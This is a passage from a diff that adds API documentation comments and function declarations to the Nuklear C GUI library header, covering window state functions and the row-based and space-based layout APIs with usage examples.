nk_window_is_closed(struct nk_context *ctx, const char *name); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of window you want to check if it is closed +/// +/// Returns `true(1)` if current window was closed or `false(0)` window not found or not closed +*/ +NK_API int nk_window_is_closed(struct nk_context*, const char*); +/*/// #### nk_window_is_hidden +/// Returns if the window with given name is hidden +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_window_is_hidden(struct nk_context *ctx, const char *name); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of window you want to check if it is hidden +/// +/// Returns `true(1)` if current window is hidden or `false(0)` window not found or visible +*/ +NK_API int nk_window_is_hidden(struct nk_context*, const char*); +/*/// #### nk_window_is_active +/// Same as nk_window_has_focus for some reason +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_window_is_active(struct nk_context *ctx, const char *name); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of window you want to check if it is active +/// +/// Returns `true(1)` if current window is active or `false(0)` window not found or not active +*/ +NK_API int nk_window_is_active(struct nk_context*, const char*); +/*/// #### nk_window_is_any_hovered +/// Returns if the any window is being hovered +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_window_is_any_hovered(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns `true(1)` if any window is hovered or `false(0)` otherwise +*/ +NK_API int nk_window_is_any_hovered(struct nk_context*); +/*/// #### nk_item_is_any_active +/// Returns if the any window is being hovered or any widget is currently active. +/// Can be used to decide if input should be processed by UI or your specific input handling. +/// Example could be UI and 3D camera to move inside a 3D space. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_item_is_any_active(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns `true(1)` if any window is hovered or any item is active or `false(0)` otherwise +*/ +NK_API int nk_item_is_any_active(struct nk_context*); +/*/// #### nk_window_set_bounds +/// Updates position and size of window with passed in name +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_set_bounds(struct nk_context*, const char *name, struct nk_rect bounds); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of the window to modify both position and size +/// __bounds__ | Must point to a `nk_rect` struct with the new position and size +*/ +NK_API void nk_window_set_bounds(struct nk_context*, const char *name, struct nk_rect bounds); +/*/// #### nk_window_set_position +/// Updates position of window with passed name +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_set_position(struct nk_context*, const char *name, struct nk_vec2 pos); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of the window to modify both position +/// __pos__ | Must point to a `nk_vec2` struct with the new position +*/ +NK_API void nk_window_set_position(struct nk_context*, const char *name, struct nk_vec2 pos); +/*/// #### nk_window_set_size +/// Updates size of window with passed in name +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_set_size(struct nk_context*, const char *name, struct nk_vec2); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of the window to modify both window size +/// __size__ | Must point to a `nk_vec2` struct with new window size +*/ +NK_API void nk_window_set_size(struct nk_context*, const char *name, struct nk_vec2); +/*/// #### nk_window_set_focus +/// Sets the window with given name as active +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_set_focus(struct nk_context*, const char *name); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of the window to set focus on +*/ +NK_API void nk_window_set_focus(struct nk_context*, const char *name); +/*/// #### nk_window_set_scroll +/// Sets the scroll offset for the current window +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_set_scroll(struct nk_context *ctx, nk_uint offset_x, nk_uint offset_y); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// -------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __offset_x__ | The x offset to scroll to +/// __offset_y__ | The y offset to scroll to +*/ +NK_API void nk_window_set_scroll(struct nk_context*, nk_uint offset_x, nk_uint offset_y); +/*/// #### nk_window_close +/// Closes a window and marks it for being freed at the end of the frame +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_close(struct nk_context *ctx, const char *name); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of the window to close +*/ +NK_API void nk_window_close(struct nk_context *ctx, const char *name); +/*/// #### nk_window_collapse +/// Updates collapse state of a window with given name +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_collapse(struct nk_context*, const char *name, enum nk_collapse_states state); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of the window to close +/// __state__ | value out of nk_collapse_states section +*/ +NK_API void nk_window_collapse(struct nk_context*, const char *name, enum nk_collapse_states state); +/*/// #### nk_window_collapse_if +/// Updates collapse state of a window with given name if given condition is met +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_collapse_if(struct nk_context*, const char *name, enum nk_collapse_states, int cond); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of the window to either collapse or maximize +/// __state__ | value out of nk_collapse_states section the window should be put into +/// __cond__ | condition that has to be met to actually commit the collapse state change +*/ +NK_API void nk_window_collapse_if(struct nk_context*, const char *name, enum nk_collapse_states, int cond); +/*/// #### nk_window_show +/// updates visibility state of a window with given name +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_show(struct nk_context*, const char *name, enum nk_show_states); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of the window to either collapse or maximize +/// __state__ | state with either visible or hidden to modify the window with +*/ +NK_API void nk_window_show(struct nk_context*, const char *name, enum nk_show_states); +/*/// #### nk_window_show_if +/// Updates visibility state of a window with given name if a given condition is met +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_show_if(struct nk_context*, const char *name, enum nk_show_states, int cond); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of the window to either hide or show +/// __state__ | state with either visible or hidden to modify the window with +/// __cond__ | condition that has to be met to actually commit the visbility state change +*/ +NK_API void nk_window_show_if(struct nk_context*, const char *name, enum nk_show_states, int cond); +/* ============================================================================= + * + * LAYOUT + * + * ============================================================================= +/// ### Layouting +/// Layouting in general describes placing widget inside a window with position and size. +/// While in this particular implementation there are five different APIs for layouting +/// each with different trade offs between control and ease of use.

+/// +/// All layouting methods in this library are based around the concept of a row. +/// A row has a height the window content grows by and a number of columns and each +/// layouting method specifies how each widget is placed inside the row. +/// After a row has been allocated by calling a layouting functions and then +/// filled with widgets will advance an internal pointer over the allocated row.

+/// +/// To actually define a layout you just call the appropriate layouting function +/// and each subsequent widget call will place the widget as specified. Important +/// here is that if you define more widgets then columns defined inside the layout +/// functions it will allocate the next row without you having to make another layouting

+/// call. +/// +/// Biggest limitation with using all these APIs outside the `nk_layout_space_xxx` API +/// is that you have to define the row height for each. However the row height +/// often depends on the height of the font.

+/// +/// To fix that internally nuklear uses a minimum row height that is set to the +/// height plus padding of currently active font and overwrites the row height +/// value if zero.

+/// +/// If you manually want to change the minimum row height then +/// use nk_layout_set_min_row_height, and use nk_layout_reset_min_row_height to +/// reset it back to be derived from font height.

+/// +/// Also if you change the font in nuklear it will automatically change the minimum +/// row height for you and. This means if you change the font but still want +/// a minimum row height smaller than the font you have to repush your value.

+/// +/// For actually more advanced UI I would even recommend using the `nk_layout_space_xxx` +/// layouting method in combination with a cassowary constraint solver (there are +/// some versions on github with permissive license model) to take over all control over widget +/// layouting yourself. However for quick and dirty layouting using all the other layouting +/// functions should be fine. +/// +/// #### Usage +/// 1. __nk_layout_row_dynamic__

+/// The easiest layouting function is `nk_layout_row_dynamic`. It provides each +/// widgets with same horizontal space inside the row and dynamically grows +/// if the owning window grows in width. So the number of columns dictates +/// the size of each widget dynamically by formula: +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// widget_width = (window_width - padding - spacing) * (1/colum_count) +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Just like all other layouting APIs if you define more widget than columns this +/// library will allocate a new row and keep all layouting parameters previously +/// defined. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// if (nk_begin_xxx(...) { +/// // first row with height: 30 composed of two widgets +/// nk_layout_row_dynamic(&ctx, 30, 2); +/// nk_widget(...); +/// nk_widget(...); +/// // +/// // second row with same parameter as defined above +/// nk_widget(...); +/// nk_widget(...); +/// // +/// // third row uses 0 for height which will use auto layouting +/// nk_layout_row_dynamic(&ctx, 0, 2); +/// nk_widget(...); +/// nk_widget(...); +/// } +/// nk_end(...); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// 2. __nk_layout_row_static__

+/// Another easy layouting function is `nk_layout_row_static`. It provides each +/// widget with same horizontal pixel width inside the row and does not grow +/// if the owning window scales smaller or bigger. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// if (nk_begin_xxx(...) { +/// // first row with height: 30 composed of two widgets with width: 80 +/// nk_layout_row_static(&ctx, 30, 80, 2); +/// nk_widget(...); +/// nk_widget(...); +/// // +/// // second row with same parameter as defined above +/// nk_widget(...); +/// nk_widget(...); +/// // +/// // third row uses 0 for height which will use auto layouting +/// nk_layout_row_static(&ctx, 0, 80, 2); +/// nk_widget(...); +/// nk_widget(...); +/// } +/// nk_end(...); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// 3. __nk_layout_row_xxx__

+/// A little bit more advanced layouting API are functions `nk_layout_row_begin`, +/// `nk_layout_row_push` and `nk_layout_row_end`. They allow to directly +/// specify each column pixel or window ratio in a row. It supports either +/// directly setting per column pixel width or widget window ratio but not +/// both. Furthermore it is a immediate mode API so each value is directly +/// pushed before calling a widget. Therefore the layout is not automatically +/// repeating like the last two layouting functions. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// if (nk_begin_xxx(...) { +/// // first row with height: 25 composed of two widgets with width 60 and 40 +/// nk_layout_row_begin(ctx, NK_STATIC, 25, 2); +/// nk_layout_row_push(ctx, 60); +/// nk_widget(...); +/// nk_layout_row_push(ctx, 40); +/// nk_widget(...); +/// nk_layout_row_end(ctx); +/// // +/// // second row with height: 25 composed of two widgets with window ratio 0.25 and 0.75 +/// nk_layout_row_begin(ctx, NK_DYNAMIC, 25, 2); +/// nk_layout_row_push(ctx, 0.25f); +/// nk_widget(...); +/// nk_layout_row_push(ctx, 0.75f); +/// nk_widget(...); +/// nk_layout_row_end(ctx); +/// // +/// // third row with auto generated height: composed of two widgets with window ratio 0.25 and 0.75 +/// nk_layout_row_begin(ctx, NK_DYNAMIC, 0, 2); +/// nk_layout_row_push(ctx, 0.25f); +/// nk_widget(...); +/// nk_layout_row_push(ctx, 0.75f); +/// nk_widget(...); +/// nk_layout_row_end(ctx); +/// } +/// nk_end(...); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// 4. __nk_layout_row__

+/// The array counterpart to API nk_layout_row_xxx is the single nk_layout_row +/// functions. Instead of pushing either pixel or window ratio for every widget +/// it allows to define it by array. The trade of for less control is that +/// `nk_layout_row` is automatically repeating. Otherwise the behavior is the +/// same. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// if (nk_begin_xxx(...) { +/// // two rows with height: 30 composed of two widgets with width 60 and 40 +/// const float size[] = {60,40}; +/// nk_layout_row(ctx, NK_STATIC, 30, 2, ratio); +/// nk_widget(...); +/// nk_widget(...); +/// nk_widget(...); +/// nk_widget(...); +/// // +/// // two rows with height: 30 composed of two widgets with window ratio 0.25 and 0.75 +/// const float ratio[] = {0.25, 0.75}; +/// nk_layout_row(ctx, NK_DYNAMIC, 30, 2, ratio); +/// nk_widget(...); +/// nk_widget(...); +/// nk_widget(...); +/// nk_widget(...); +/// // +/// // two rows with auto generated height composed of two widgets with window ratio 0.25 and 0.75 +/// const float ratio[] = {0.25, 0.75}; +/// nk_layout_row(ctx, NK_DYNAMIC, 30, 2, ratio); +/// nk_widget(...); +/// nk_widget(...); +/// nk_widget(...); +/// nk_widget(...); +/// } +/// nk_end(...); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// 5. __nk_layout_row_template_xxx__

+/// The most complex and second most flexible API is a simplified flexbox version without +/// line wrapping and weights for dynamic widgets. It is an immediate mode API but +/// unlike `nk_layout_row_xxx` it has auto repeat behavior and needs to be called +/// before calling the templated widgets. +/// The row template layout has three different per widget size specifier. The first +/// one is the `nk_layout_row_template_push_static` with fixed widget pixel width. +/// They do not grow if the row grows and will always stay the same. +/// The second size specifier is `nk_layout_row_template_push_variable` +/// which defines a minimum widget size but it also can grow if more space is available +/// not taken by other widgets. +/// Finally there are dynamic widgets with `nk_layout_row_template_push_dynamic` +/// which are completely flexible and unlike variable widgets can even shrink +/// to zero if not enough space is provided. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// if (nk_begin_xxx(...) { +/// // two rows with height: 30 composed of three widgets +/// nk_layout_row_template_begin(ctx, 30); +/// nk_layout_row_template_push_dynamic(ctx); +/// nk_layout_row_template_push_variable(ctx, 80); +/// nk_layout_row_template_push_static(ctx, 80); +/// nk_layout_row_template_end(ctx); +/// // +/// // first row +/// nk_widget(...); // dynamic widget can go to zero if not enough space +/// nk_widget(...); // variable widget with min 80 pixel but can grow bigger if enough space +/// nk_widget(...); // static widget with fixed 80 pixel width +/// // +/// // second row same layout +/// nk_widget(...); +/// nk_widget(...); +/// nk_widget(...); +/// } +/// nk_end(...); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// 6. __nk_layout_space_xxx__

+/// Finally the most flexible API directly allows you to place widgets inside the +/// window. The space layout API is an immediate mode API which does not support +/// row auto repeat and directly sets position and size of a widget. Position +/// and size hereby can be either specified as ratio of allocated space or +/// allocated space local position and pixel size. Since this API is quite +/// powerful there are a number of utility functions to get the available space +/// and convert between local allocated space and screen space. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// if (nk_begin_xxx(...) { +/// // static row with height: 500 (you can set column count to INT_MAX if you don't want to be bothered) +/// nk_layout_space_begin(ctx, NK_STATIC, 500, INT_MAX); +/// nk_layout_space_push(ctx, nk_rect(0,0,150,200)); +/// nk_widget(...); +/// nk_layout_space_push(ctx, nk_rect(200,200,100,200)); +/// nk_widget(...); +/// nk_layout_space_end(ctx); +/// // +/// // dynamic row with height: 500 (you can set column count to INT_MAX if you don't want to be bothered) +/// nk_layout_space_begin(ctx, NK_DYNAMIC, 500, INT_MAX); +/// nk_layout_space_push(ctx, nk_rect(0.5,0.5,0.1,0.1)); +/// nk_widget(...); +/// nk_layout_space_push(ctx, nk_rect(0.7,0.6,0.1,0.1)); +/// nk_widget(...); +/// } +/// nk_end(...); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// #### Reference +/// Function | Description +/// ----------------------------------------|------------------------------------ +/// nk_layout_set_min_row_height | Set the currently used minimum row height to a specified value +/// nk_layout_reset_min_row_height | Resets the currently used minimum row height to font height +/// nk_layout_widget_bounds | Calculates current width a static layout row can fit inside a window +/// nk_layout_ratio_from_pixel | Utility functions to calculate window ratio from pixel size +// +/// nk_layout_row_dynamic | Current layout is divided into n same sized growing columns +/// nk_layout_row_static | Current layout is divided into n same fixed sized columns +/// nk_layout_row_begin | Starts a new row with given height and number of columns +/// nk_layout_row_push | Pushes another column with given size or window ratio +/// nk_layout_row_end | Finished previously started row +/// nk_layout_row | Specifies row columns in array as either window ratio or size +// +/// nk_layout_row_template_begin | Begins the row template declaration +/// nk_layout_row_template_push_dynamic | Adds a dynamic column that dynamically grows and can go to zero if not enough space +/// nk_layout_row_template_push_variable | Adds a variable column that dynamically grows but does not shrink below specified pixel width +/// nk_layout_row_template_push_static | Adds a static column that does not grow and will always have the same size +/// nk_layout_row_template_end | Marks the end of the row template +// +/// nk_layout_space_begin | Begins a new layouting space that allows to specify each widgets position and size +/// nk_layout_space_push | Pushes position and size of the next widget in own coordinate space either as pixel or ratio +/// nk_layout_space_end | Marks the end of the layouting space +// +/// nk_layout_space_bounds | Callable after nk_layout_space_begin and returns total space allocated +/// nk_layout_space_to_screen | Converts vector from nk_layout_space coordinate space into screen space +/// nk_layout_space_to_local | Converts vector from screen space into nk_layout_space coordinates +/// nk_layout_space_rect_to_screen | Converts rectangle from nk_layout_space coordinate space into screen space +/// nk_layout_space_rect_to_local | Converts rectangle from screen space into nk_layout_space coordinates +*/ +/*/// #### nk_layout_set_min_row_height +/// Sets the currently used minimum row height. +/// !!! WARNING +/// The passed height needs to include both your preferred row height +/// as well as padding. No internal padding is added. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_set_min_row_height(struct nk_context*, float height); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __height__ | New minimum row height to be used for auto generating the row height +*/ +NK_API void nk_layout_set_min_row_height(struct nk_context*, float height); +/*/// #### nk_layout_reset_min_row_height +/// Reset the currently used minimum row height back to `font_height + text_padding + padding` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_reset_min_row_height(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +*/ +NK_API void nk_layout_reset_min_row_height(struct nk_context*); +/*/// #### nk_layout_widget_bounds +/// Returns the width of the next row allocate by one of the layouting functions +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_rect nk_layout_widget_bounds(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// +/// Return `nk_rect` with both position and size of the next row +*/ +NK_API struct nk_rect nk_layout_widget_bounds(struct nk_context*); +/*/// #### nk_layout_ratio_from_pixel +/// Utility functions to calculate window ratio from pixel size +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// float nk_layout_ratio_from_pixel(struct nk_context*, float pixel_width); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __pixel__ | Pixel_width to convert to window ratio +/// +/// Returns `nk_rect` with both position and size of the next row +*/ +NK_API float nk_layout_ratio_from_pixel(struct nk_context*, float pixel_width); +/*/// #### nk_layout_row_dynamic +/// Sets current row layout to share horizontal space +/// between @cols number of widgets evenly. Once called all subsequent widget +/// calls greater than @cols will allocate a new row with same layout. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_row_dynamic(struct nk_context *ctx, float height, int cols); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __height__ | Holds height of each widget in row or zero for auto layouting +/// __columns__ | Number of widget inside row +*/ +NK_API void nk_layout_row_dynamic(struct nk_context *ctx, float height, int cols); +/*/// #### nk_layout_row_static +/// Sets current row layout to fill @cols number of widgets +/// in row with same @item_width horizontal size. Once called all subsequent widget +/// calls greater than @cols will allocate a new row with same layout. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_row_static(struct nk_context *ctx, float height, int item_width, int cols); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __height__ | Holds height of each widget in row or zero for auto layouting +/// __width__ | Holds pixel width of each widget in the row +/// __columns__ | Number of widget inside row +*/ +NK_API void nk_layout_row_static(struct nk_context *ctx, float height, int item_width, int cols); +/*/// #### nk_layout_row_begin +/// Starts a new dynamic or fixed row with given height and columns. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_row_begin(struct nk_context *ctx, enum nk_layout_format fmt, float row_height, int cols); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __fmt__ | either `NK_DYNAMIC` for window ratio or `NK_STATIC` for fixed size columns +/// __height__ | holds height of each widget in row or zero for auto layouting +/// __columns__ | Number of widget inside row +*/ +NK_API void nk_layout_row_begin(struct nk_context *ctx, enum nk_layout_format fmt, float row_height, int cols); +/*/// #### nk_layout_row_push +/// Specifies either window ratio or width of a single column +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_row_push(struct nk_context*, float value); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __value__ | either a window ratio or fixed width depending on @fmt in previous `nk_layout_row_begin` call +*/ +NK_API void nk_layout_row_push(struct nk_context*, float value); +/*/// #### nk_layout_row_end +/// Finished previously started row +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_row_end(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +*/ +NK_API void nk_layout_row_end(struct nk_context*); +/*/// #### nk_layout_row +/// Specifies row columns in array as either window ratio or size +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_row(struct nk_context*, enum nk_layout_format, float height, int cols, const float *ratio); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __fmt__ | Either `NK_DYNAMIC` for window ratio or `NK_STATIC` for fixed size columns +/// __height__ | Holds height of each widget in row or zero for auto layouting +/// __columns__ | Number of widget inside row +*/ +NK_API void nk_layout_row(struct nk_context*, enum nk_layout_format, float height, int cols, const float *ratio); +/*/// #### nk_layout_row_template_begin +/// Begins the row template declaration +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void 